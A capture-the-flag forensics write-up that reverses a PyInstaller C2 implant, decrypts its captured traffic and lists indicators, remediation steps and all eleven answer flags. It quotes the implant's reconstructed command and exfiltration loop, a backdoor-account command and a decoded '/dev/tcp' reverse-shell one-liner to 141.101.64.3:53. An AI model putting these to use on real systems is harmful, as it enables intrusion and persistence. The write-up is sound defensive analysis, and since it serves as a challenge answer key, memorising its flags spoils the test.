Cyber Apocalypse 2026 — Forensics — The Ash-Binder Signature

> *In a winter-bound frontier, Elowen Ashglass, a residue-seer trained to read truth in ash and trace, investigates a village that vanished without violence. […] Our internal perimeter was breached. Can you help Elowen understand what happened?*

Category: Forensics · **Flags:** 11

Artifacts: `capture.pcap` (88 KB), `uac-ash-wbsrv03-linux-20260522185435/` (UAC triage collection)

---

1. Executive summary

Host `ash-wbsrv03` (`10.10.0.10`) was accessed over SSH from `10.10.0.56` using the legitimate account **`kingmaelor`** , a member of the `sudo` group. From that interactive session the attacker launched a PyInstaller-packed Python implant staged on an internal file share at **`/srv/AshShare/linux_sys_updater`** .

The implant opened a beacon to **`10.10.0.56:443`** and spoke a bespoke text protocol wrapped in **AES-256-CBC + HMAC-SHA256**, with all protocol keywords obfuscated as Base64-of-XOR-0xFF strings. Because the AES key is hardcoded in the binary, the entire C2 session in `capture.pcap` can be decrypted offline.

The decrypted session shows the operator:

1. exfiltrating `/etc/ssh/sshd_config` and `/etc/hosts` ,
2. planting an SSH public key (`ash@team.htb`) in `/home/kingmaelor/.ssh/authorized_keys` ,
3. enumerating the host (`uname -a` , `ls -la /etc` , `id` , `sudo -l` , `env`),
4. abusing a `NOPASSWD` sudo rule to create the backdoor account **`backup_usr`** / **`9cq3jPVN6Me1`** ,
5. dropping a gzip+Base64-obfuscated one-liner that writes a `/dev/tcp` reverse shell to **`/home/kingmaelor/.local/share/.systemd-helper`** , calling back to **`141.101.64.3:53`** .

The "controlled extraction staged to resemble a raid" of the story maps neatly onto the tradecraft: a name-squatting binary on a shared folder (`linux_sys_updater`), a `.systemd-helper` masquerade, and DNS-port egress — all designed to look like routine maintenance rather than an intrusion.

---

2. Triage of the UAC collection

2.1 The running implant

`live_response/process/ps_auxwwwf.txt` is the single most valuable file in the collection:

```
root           8  sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root          86   \_ sshd-session: kingmaelor [priv]
kingmae+      94       \_ sshd-session: kingmaelor@pts/1
kingmae+      95           \_ -bash
kingmae+      99               \_ /srv/AshShare/linux_sys_updater
kingmae+     100                   \_ /srv/AshShare/linux_sys_updater
```

An interactive SSH session for `kingmaelor` spawns `/srv/AshShare/linux_sys_updater` — a binary living on a share, not in a package-managed path. The double-process pattern (parent + child, same path) is the classic PyInstaller onefile bootloader signature.

2.2 Account context

`[root]/etc/passwd`:

```
kingmaelor:x:1005:1011::/home/kingmaelor:/bin/bash
```

`[root]/etc/group`:

```
sudo:x:27:kingmaelor
crownspire:x:1011:lysaharrowmere,caldrinvowmark,rinkagetsura,keirunderbelly
```

GID `1011` = `crownspire`, so `kingmaelor`'s **primary** group is `crownspire`. Note the trap: `kingmaelor` does *not* appear in the `crownspire` member list in `/etc/group` — that list only holds *supplementary* members. The primary group comes from the fourth field of `/etc/passwd`. This is later confirmed by the attacker's own `id` output in the decrypted traffic:

```
uid=1005(kingmaelor) gid=1011(crownspire) groups=1011(crownspire),27(sudo)
```

2.3 Network state

`live_response/network/netstat_-anp.txt`:

```
tcp  0  0 10.10.0.10:49892  10.10.0.56:443     ESTABLISHED  -
tcp  0  0 10.10.0.10:22     10.10.0.56:53470   ESTABLISHED  -
```

The same host `10.10.0.56` is both the SSH client and the C2 listener — the operator worked hands-on-keyboard from a single box. Port 443 was chosen to blend with HTTPS; note there is no TLS handshake in the pcap.

2.4 The binary

```
$ file '[root]/srv/AshShare/linux_sys_updater'
ELF 64-bit LSB executable, x86-64, dynamically linked, BuildID[sha1]=d3d0609…, stripped

$ strings linux_sys_updater | grep -E '_MEIPASS|pyinstaller|python3\.'
_MEIPASS
_pyinstaller_pyz
libpython3.12.so.1.0
```

PyInstaller onefile, CPython 3.12.

---

3. Reversing the implant

3.1 Extraction

`pyinstxtractor` must run under the *same* minor version as the target (3.12), otherwise the PYZ unmarshal is skipped:

```
$ brew install python@3.12
$ curl -O https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py
$ python3.12 pyinstxtractor.py linux_sys_updater
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Found 96 files in CArchive
[+] Possible entry point: client.pyc
[+] Found 152 files in PYZ archive
```

Entry point: `client.pyc` (original filename `client.py`).

3.2 Getting readable logic without a 3.12 decompiler

No maintained decompiler covers 3.12 bytecode, but `dis` does — and since the whole point is to recover constants and control flow, a recursive disassembly is enough:

```
import dis, marshal
co = marshal.loads(open('client.pyc','rb').read()[16:])
def walk(c):
    print('='*20, 'CODE:', c.co_name, c.co_varnames[:c.co_argcount])
    dis.dis(c, depth=0)
    for k in c.co_consts:
        if hasattr(k, 'co_code'):
            walk(k)
walk(co)
```

Every identifier is a random 6-character mangle (`X7wR9t`, `Jn2bM4`, `Sw1vE2`, …) and every protocol string is an opaque Base64 blob — deliberate anti-analysis, but the structure is untouched.

3.3 The string obfuscator

Function `Jn2bM4` (line 24 of the original source) does:

```
b64decode(s)  →  XOR each byte with 85 (0x55)  →  XOR each byte with 170 (0xAA)  →  utf-8 decode
```

`0x55 ^ 0xAA = 0xFF`, so the two passes collapse into a single **XOR 0xFF**. The `if len(s) % 4` block just re-pads the Base64. One helper deobfuscates the whole string table:

```
import base64
def deob(s):
    s += '=' * (-len(s) % 4)
    return bytes(b ^ 0xFF for b in base64.b64decode(s)).decode()
```

Obfuscated	Plaintext
`vqy3oLyztqA=`	`ASH_CLI_`
`vbq+vLCx34TPgt+EzoI=`	`BEACON {0} {1}`
`vLe+s7O6sbi6`	`CHALLENGE`
`vLe+s7O6sbi6oK26rK+wsay6`	`CHALLENGE_RESPONSE`
`u6ixs6C5trO63w==`	`DWNL_FILE`
`u6ixs6C7vqu+34TPgg==`	`DWNL_DATA {0}`
`u6ixs6CxsKugubCqsbs=`	`DWNL_NOT_FOUND`
`qq+zu6C5trO63w==`	`UPLD_FILE`
`qq+zu6C7vqu+3w==`	`UPLD_DATA`
`qq+zu6C+vLQ=`	`UPLD_ACK`
`qq+zu6C5vraz`	`UPLD_FAIL`
`vLK73w==`	`CMD`
`sKqrr6qr34TPgt+EzoI=`	`OUTPUT {0} {1}`
`rLeqq7uwqLE=`	`SHUTDOWN`
`t7K+vN+Jmo2WmZacnouWkJHfmZ6Wk5qb`	`HMAC verification failed`

3.4 The crypto

Module level, line 14:

```
LOAD_CONST 5 ('ZQLJlA8BYg0iy1qFH0PwpB8tn8Y2DX0j')
STORE_NAME 16 (X7wR9t)
```

`X7wR9t` is the hardcoded 32-character AES key. `Fg3hY6(X7wR9t)` derives the two working keys:

```
def Fg3hY6(key):                                    # KDF
    h    = hashlib.sha256(key.encode()).digest()
    enc  = hashlib.sha256(h + b'encryption').digest()[:32]   # -> Pq2mN5, AES-256 key
    mac  = hashlib.sha256(h + b'hmac').digest()[:32]         # -> Zk8vL4, HMAC key
    return enc, mac
```

Encrypt (`Qw6rT1`) and decrypt (`Ru8wD1`):

```
def Qw6rT1(data):                                   # encrypt
    iv  = get_random_bytes(16)
    ct  = AES.new(Pq2mN5, AES.MODE_CBC, iv).encrypt(pad(data, 16))
    tag = hashlib.new('sha256', Zk8vL4 + iv + ct).digest()   # keyed hash, prefix-MAC (not real HMAC)
    return base64.b64encode(iv + ct + tag)

def Ru8wD1(blob):                                   # decrypt
    raw = base64.b64decode(blob)
    iv, ct, tag = raw[:16], raw[16:-32], raw[-32:]
    if tag != hashlib.new('sha256', Zk8vL4 + iv + ct).digest():
        raise ValueError('HMAC verification failed')
    return unpad(AES.new(Pq2mN5, AES.MODE_CBC, iv).decrypt(ct), 16).decode()
```

Framing (`Jl9eN3` / `Mx7iR4`): `struct.pack('>I', len(blob)) + blob` — a 4-byte big-endian length prefix in front of each Base64 record. `Pn9wW1` is a `recv_exact` helper.

Derived values:

```
key string   ZQLJlA8BYg0iy1qFH0PwpB8tn8Y2DX0j
md5(key)     0d51a366f5567df0ed560a89d49adef7
AES-256 key  9df1f3bd6110a9684f0b921d6fc79779e9f0d1896615b05bd10b1995121c0c0b
HMAC key     3370069f9f743a00fd59c5e189d97f6b42f5b020818c138d5c5148632a781bda
```

3.5 Command execution

```
def Ve8sB7(Hj5tC1):                                  # run shell command
    try:
        Kd3uD9 = subprocess.check_output(Hj5tC1, shell=True,
                                         stderr=subprocess.STDOUT, timeout=10)
        return Kd3uD9.decode()
    except Exception:
        return 'Failed'
```

`Kd3uD9` is the variable that holds the raw command output (flag 6).

3.6 Reconstructed main loop

```
def Sw1vE2():
    Mn9wF6 = '10.10.0.56'      # C2 host
    Gt4xG3 = 443               # C2 port
    Rz2zI1 = 30                # retry sleep
    while True:
        try:
            # client ID = 'ASH_CLI_' + 20 random lowercase chars
            Lp7yH8 = 'ASH_CLI_' + ''.join(chr(random.randint(97, 122)) for _ in range(20))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((Mn9wF6, Gt4xG3))

            send(s, 'BEACON {0} {1}'.format(Lp7yH8, time.time()))
            if recv(s) != 'CHALLENGE':
                s.close(); return
            send(s, 'CHALLENGE_RESPONSE')

            while True:
                Tb8bJ5 = recv(s)
                if not Tb8bJ5:
                    break

                if Tb8bJ5.startswith('DWNL_FILE '):            # C2 pulls a file (exfil)
                    p = Tb8bJ5.split(maxsplit=2)
                    if os.path.exists(p[1]):
                        data = open(p[1], 'rb').read()
                        send(s, 'DWNL_DATA {0}'.format(base64.b64encode(data).decode()))
                        recv(s)                                # 'DWNL_ACK'
                    else:
                        send(s, 'DWNL_NOT_FOUND'); recv(s)

                elif Tb8bJ5.startswith('UPLD_FILE '):          # C2 pushes a file (staging)
                    p = Tb8bJ5.split(maxsplit=2)
                    nxt = recv(s)
                    if nxt and nxt.startswith('UPLD_DATA '):
                        data = base64.b64decode(nxt[len('UPLD_DATA '):])
                        os.makedirs(os.path.dirname(p[1]), exist_ok=True)
                        open(p[1], 'wb').write(data)
                        send(s, 'UPLD_ACK')
                    else:
                        send(s, 'UPLD_FAIL')

                elif Tb8bJ5.startswith('CMD '):                # shell command
                    send(s, 'OUTPUT {0} {1}'.format(Lp7yH8, Ve8sB7(Tb8bJ5[4:].strip())))

                elif Tb8bJ5 == 'SHUTDOWN':
                    sys.stdout.flush(); s.close()
            s.close()
        except Exception:
            pass
        time.sleep(Rz2zI1)
```

Worth noting the "authentication" is theatre: the client sends `BEACON`, expects the literal `CHALLENGE`, and replies with the literal `CHALLENGE_RESPONSE`. Nothing is actually verified — the AES key *is* the authentication.

---

4. Decrypting the C2 session

With the key recovered, the pcap can be decoded end-to-end. `tshark` / `scapy` weren't available, so a small self-contained pcap reader + TCP reassembler + protocol decoder was used (`writeups/decode_pcap.py`, reproduced below).

```
$ python3.12 decode_pcap.py capture.pcap
=== streams ===
10.10.0.56:53470 -> 10.10.0.10:22      11309 bytes   (SSH, opaque)
10.10.0.10:22    -> 10.10.0.56:53470   12213 bytes   (SSH, opaque)
10.10.0.10:49892 -> 10.10.0.56:443     20292 bytes   (implant -> C2, 13 frames)
10.10.0.56:443   -> 10.10.0.10:49892    2048 bytes   (C2 -> implant, 15 frames)
```

All 30 frames decrypt with a valid keyed hash (zero `HMAC BAD`), which confirms the key derivation is exact.

4.1 Operator → implant

```
[001] CHALLENGE
[002] DWNL_FILE /etc/ssh/sshd_config
[003] DWNL_ACK
[004] DWNL_FILE /etc/hosts
[005] DWNL_ACK
[006] UPLD_FILE /home/kingmaelor/.ssh/authorized_keys
[007] UPLD_DATA c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU5UNkFITEZKT2h0R2t2NVll
              RjJ4Z3A1R0NkREJBeVdDSUJTeHBOVEtnNDAgYXNoQHRlYW0uaHRi
[008] CMD uname -a
[009] CMD ls -la /etc
[010] CMD id
[011] CMD sudo -l
[012] CMD sudo useradd -m -s /bin/bash backup_usr && echo 'backup_usr:9cq3jPVN6Me1' | sudo chpasswd
[013] CMD cat /etc/passwd | grep -i backup_usr
[014] CMD env
[015] CMD echo 'H4sIABLFDWoA/5XNQQ7CIBBG4av8K7owMJ20uuQuCBOHFKSBxujtGy9g4gG+9+qWcofdQdqq0Jafjxqk
             tE6utBgKDQ1dYAwkasN0D0NhM7wBJXnREXfilR3P7G6rW+i6YPaGJ/jfSXLjMw6pyaqUXfp3EbW2hMv7P3kC
             reFnE8MAAAA=' | base64 -d | gunzip | bash
```

Ordering matters for two of the flags:

- downloads (exfil) in order → `/etc/ssh/sshd_config`, then **`/etc/hosts`**
- `CMD`s in order → `uname -a`, then **`ls -la /etc`**, `id`, `sudo -l`, …

The uploaded key decodes to:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINT6AHLFJOhtGkv5YeF2xgp5GCdDBAyWCIBSxpNTKg40 ash@team.htb
```

4.2 Implant → operator

```
[001] BEACON ASH_CLI_nxpgkxxdatxrcbvkeqby 1779476072.6410902     # 2026-05-22 18:54:32 UTC
[002] CHALLENGE_RESPONSE
[003] DWNL_DATA <sshd_config, 4558 B>
[004] DWNL_DATA <hosts, base64>
[005] UPLD_ACK
[006] OUTPUT ASH_CLI_… Linux ash-wbsrv03 6.12.88+deb13-amd64 … x86_64 GNU/Linux
[007] OUTPUT ASH_CLI_… total 556 / drwxr-xr-x 1 root root 4096 May 22 18:53 . …
[008] OUTPUT ASH_CLI_… uid=1005(kingmaelor) gid=1011(crownspire) groups=1011(crownspire),27(sudo)
[009] OUTPUT ASH_CLI_… User kingmaelor may run the following commands on ash-wbsrv03:
                           (ALL : ALL) ALL
                           (ALL) NOPASSWD: /usr/sbin/useradd, /usr/sbin/usermod, /usr/sbin/chpasswd
[010] OUTPUT ASH_CLI_…
[011] OUTPUT ASH_CLI_… backup_usr:x:1016:1016::/home/backup_usr:/bin/bash
[012] OUTPUT ASH_CLI_… USER=kingmaelor / LD_LIBRARY_PATH=/tmp/_MEITTZONB /
                       _PYI_ARCHIVE_FILE=/srv/AshShare/linux_sys_updater / SSH_CLIENT=10.10.0.56 53470
22 …
[013] OUTPUT ASH_CLI_…
```

The `env` output is a nice confirmation of the delivery path: `_PYI_ARCHIVE_FILE` and `_PYI_APPLICATION_HOME_DIR=/tmp/_MEITTZONB` prove the PyInstaller unpack, and `SSH_CLIENT` ties the implant's parent shell back to `10.10.0.56`.

`sudo -l` is the pivot point — the `NOPASSWD` rule on `useradd` / `usermod` / `chpasswd` is exactly what frame `[012]` weaponises, and frame `[011]` shows the account landed (`uid 1016`).

4.3 The persistence one-liner

The final `CMD` is Base64 + gzip so it doesn't show plainly even to someone who broke the AES layer:

```
$ echo 'H4sIABLFDWoA/5XNQQ7CIBBG4av8K7owMJ20uuQuCBOHFKSBxujtGy9g4gG+9+qWcofdQdqq0Jaf
jxqktE6utBgKDQ1dYAwkasN0D0NhM7wBJXnREXfilR3P7G6rW+i6YPaGJ/jfSXLjMw6pyaqUXfp3EbW2
hMv7P3kCreFnE8MAAAA=' | base64 -d | gunzip
mkdir -p /home/kingmaelor/.local/share && echo 'bash -i >& /dev/tcp/141.101.64.3/53 0>&1' > /home/
kingmaelor/.local/share/.systemd-helper && chmod +x /home/kingmaelor/.local/share/.systemd-helper
```

So the persistence file is **`/home/kingmaelor/.local/share/.systemd-helper`** — a dot-file in a directory nobody audits, named after a real Debian binary (`/usr/bin/deb-systemd-helper`) — and it contains an interactive `/dev/tcp` reverse shell to **`141.101.64.3:53`**. Port 53 is chosen so the egress looks like DNS.

Note the second C2 (`141.101.64.3`) is *not* the first one (`10.10.0.56`): the fallback channel points at an external address, separate from the internal jump box.

---

5. Answers

#	Question	Answer	Flag
1	Compromised user : primary group	`kingmaelor` / GID 1011 → `crownspire`	`HTB{kingmaelor:crownspire}`
2	Malicious binary path	from `ps_auxwwwf.txt`	`HTB{/srv/AshShare/linux_sys_updater}`
3	AES key (as MD5)	MD5 of the 32 raw bytes passed to `AES.new()`	`HTB{6ffc06ff97ec037753feda5354b650b3}`
4	Client-ID prefix	`Jn2bM4('vqy3oLyztqA=')`	`HTB{ASH_CLI_}`
5	Upload command	`Jn2bM4('qq+zu6C5trO63w==')`	`HTB{UPLD_FILE}`
6	Variable holding command output	in `Ve8sB7()`	`HTB{Kd3uD9}`
7	Second executed command	after `uname -a`	`HTB{ls -la /etc}`
8	Second downloaded file	after `/etc/ssh/sshd_config`	`HTB{/etc/hosts}`
9	Backdoor credentials	`sudo useradd` + `chpasswd`	`HTB{backup_usr:9cq3jPVN6Me1}`
10	Persistence file	from the gunzipped one-liner	`HTB{/home/kingmaelor/.local/share/.systemd-helper}`
11	Reverse-shell endpoint	`/dev/tcp/141.101.64.3/53`	`HTB{141.101.64.3:53}`

Note on flag 3 — which "key"?

There are two defensible readings of "the Key used in AES", because the implant derives its working key rather than using the literal directly:

- the hardcoded literal `ZQLJlA8BYg0iy1qFH0PwpB8tn8Y2DX0j` → MD5 `0d51a366f5567df0ed560a89d49adef7`
- the value actually handed to `AES.new()`, i.e. the 32 raw bytes `9df1f3bd6110a9684f0b921d6fc79779e9f0d1896615b05bd10b1995121c0c0b` → MD5 **`6ffc06ff97ec037753feda5354b650b3`**

The literal is *rejected* by the scoreboard; the accepted value is the MD5 of the derived key's raw bytes, which is also the strictly-correct reading — that is the byte string the AES-256 schedule is built from.

For completeness, other encodings of the same derived key hash to:

Encoding of the derived key	MD5
raw 32 bytes	`6ffc06ff97ec037753feda5354b650b3`
lowercase hex string	`bd9ec45bf707f00f58ab6107d46ff4b7`
uppercase hex string	`964f89c64030c17b118a0df96cedce9b`
Base64	`f68dd7fab208655f34309c0808ae2036`

Note on flag 5 — direction of "upload"

The complete string table of `client.pyc` (verified by walking every `co_consts` entry in every nested code object) contains exactly four upload keywords: `UPLD_FILE`, `UPLD_DATA`, `UPLD_ACK`, `UPLD_FAIL`. Of those, only `UPLD_FILE` *initiates* a transfer — `UPLD_DATA` carries the payload in the following frame, and the other two are acknowledgements. The direction is fixed by the code: `UPLD_FILE` makes the implant `open(path,'wb')` and write attacker-supplied bytes (C2 → victim), whereas `DWNL_FILE` makes it read and exfiltrate (victim → C2). Flag 8 confirms the challenge uses the same convention, since the `DWNL_FILE` targets are the ones it calls "downloaded files".

---

6. Indicators of compromise

Files

Path	Note
`/srv/AshShare/linux_sys_updater`	PyInstaller implant, SHA1 BuildID `d3d060968c2b8c41aa17bbc6e127f0d462c98025`
`/home/kingmaelor/.ssh/authorized_keys`	attacker ed25519 key, comment `ash@team.htb`
`/home/kingmaelor/.local/share/.systemd-helper`	`/dev/tcp` reverse-shell stub
`/home/backup_usr/`	backdoor account home (uid/gid 1016)

Network

Indicator	Note
`10.10.0.56:443`	primary C2, custom AES protocol over non-TLS 443
`10.10.0.56:53470 → 10.10.0.10:22`	operator SSH session
`141.101.64.3:53`	secondary reverse-shell C2 on the DNS port

Accounts / creds

Indicator
`backup_usr : 9cq3jPVN6Me1`
`kingmaelor` (legitimate account, compromised; `sudo` group)

Host-based detections

- Length-prefixed Base64 records over port 443 with no TLS `ClientHello`.
- Any executable under `/srv/` invoked as a child of an interactive user shell.
- Beacon strings `ASH_CLI_<20 lowercase>`, `BEACON`, `CHALLENGE_RESPONSE`, `DWNL_FILE`, `UPLD_FILE`, `CMD`, `OUTPUT`, `SHUTDOWN` (after decryption).
- `useradd` / `chpasswd` executed via `sudo` NOPASSWD outside a change window.
- Writes to `~/.local/share/.*` combined with `chmod +x`.
- Outbound TCP/53 that is not DNS.

---

7. Remediation notes

1. Remove `/usr/sbin/useradd`, `/usr/sbin/usermod`, `/usr/sbin/chpasswd` from the `NOPASSWD` sudoers rule — that trio is a complete privilege-escalation and persistence primitive on its own. It is also redundant here, since `kingmaelor` already has `(ALL : ALL) ALL`.
2. Delete `backup_usr`, the planted `authorized_keys` entry, `.systemd-helper`, and the share binary; rotate `kingmaelor`'s credentials and SSH keys.
3. Mount `/srv/AshShare` `noexec` — a file share should never be an execution path.
4. Egress-filter: block outbound TCP/53 to non-resolver hosts, and alert on non-TLS traffic to :443.
5. `/etc/ssh/sshd_config` was exfiltrated; review it for anything sensitive (allow-lists, key paths, ports) and treat it as disclosed.

---

8. Tooling

Full decoder used for section 4 — no external forensic tooling required beyond `pycryptodome`:

```
#!/usr/bin/env python3
"""Reassemble TCP streams from a pcap and decrypt the ASH_CLI_ C2 protocol."""
import struct, sys, base64, hashlib
from collections import defaultdict
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

MASTER  = 'ZQLJlA8BYg0iy1qFH0PwpB8tn8Y2DX0j'
_h      = hashlib.sha256(MASTER.encode()).digest()
ENC_KEY = hashlib.sha256(_h + b'encryption').digest()[:32]
MAC_KEY = hashlib.sha256(_h + b'hmac').digest()[:32]


def read_pcap(path):
    data = open(path, 'rb').read()
    magic = data[:4]
    endian, nano = {b'\xd4\xc3\xb2\xa1': ('<', False), b'\xa1\xb2\xc3\xd4': ('>', False),
                    b'\x4d\x3c\xb2\xa1': ('<', True),  b'\xa1\xb2\x3c\x4d': ('>', True)}[magic]
    linktype = struct.unpack(endian + 'I', data[20:24])[0]
    off = 24
    while off + 16 <= len(data):
        ts_sec, ts_usec, incl, orig = struct.unpack(endian + 'IIII', data[off:off + 16])
        off += 16
        yield ts_sec + ts_usec / (1e9 if nano else 1e6), linktype, data[off:off + incl]
        off += incl


def parse_tcp(linktype, pkt):
    if linktype == 1:                                   # Ethernet
        if len(pkt) < 14 or struct.unpack('>H', pkt[12:14])[0] != 0x0800:
            return None
        ip = pkt[14:]
    elif linktype == 113:                               # Linux cooked
        ip = pkt[16:]
    else:
        ip = pkt
    if not ip or (ip[0] >> 4) != 4 or ip[9] != 6:
        return None
    ihl = (ip[0] & 0xf) * 4
    total_len = struct.unpack('>H', ip[2:4])[0]
    src = '.'.join(str(b) for b in ip[12:16])
    dst = '.'.join(str(b) for b in ip[16:20])
    tcp = ip[ihl:total_len] if total_len else ip[ihl:]
    if len(tcp) < 20:
        return None
    sport, dport, seq, ack = struct.unpack('>HHII', tcp[:12])
    return src, sport, dst, dport, seq, tcp[13], tcp[(tcp[12] >> 4) * 4:]


def frames(buf):
    """4-byte big-endian length prefix per record."""
    i = 0
    while i + 4 <= len(buf):
        n = struct.unpack('>I', buf[i:i + 4])[0]
        if n == 0 or n > len(buf) - i - 4:
            break
        yield buf[i + 4:i + 4 + n]
        i += 4 + n


def decrypt(blob):
    raw = base64.b64decode(blob)
    iv, ct, mac = raw[:16], raw[16:-32], raw[-32:]
    ok = hashlib.new('sha256', MAC_KEY + iv + ct).digest() == mac
    pt = unpad(AES.new(ENC_KEY, AES.MODE_CBC, iv).decrypt(ct), AES.block_size)
    return ok, pt.decode('utf-8', 'replace')
```

```
def main(path):
    streams = defaultdict(dict)
    for ts, lt, pkt in read_pcap(path):
        r = parse_tcp(lt, pkt)
        if r and r[6]:
            streams[(r[0], r[1], r[2], r[3])].setdefault(r[4], r[6])

    for key, segs in streams.items():
        base = min(segs)
        buf = bytearray()
        for seq in sorted(segs):
            off = seq - base
            if off < 0:
                continue
            if off > len(buf):
                buf.extend(b'\x00' * (off - len(buf)))
            buf[off:off + len(segs[seq])] = segs[seq]
        buf = bytes(buf)
        if not any(True for _ in frames(buf)):
            continue
        print(f'##### {key[0]}:{key[1]} -> {key[2]}:{key[3]}')
        for idx, f in enumerate(frames(buf), 1):
            try:
                ok, pt = decrypt(f)
                print(f'  [{idx:03}]{"" if ok else " [HMAC BAD]"} {pt}')
            except Exception as e:
                print(f'  [{idx:03}] <undecryptable: {e}>')
        print()


if __name__ == '__main__':
    main(sys.argv[1])
```

String deobfuscator:

```
import base64
def deob(s):
    s += '=' * (-len(s) % 4)
    return bytes(b ^ 0xFF for b in base64.b64decode(s)).decode()
```

Environment: `brew install python@3.12`, `python3.12 -m venv venv && venv/bin/pip install pycryptodome`, plus `pyinstxtractor.py` run under 3.12.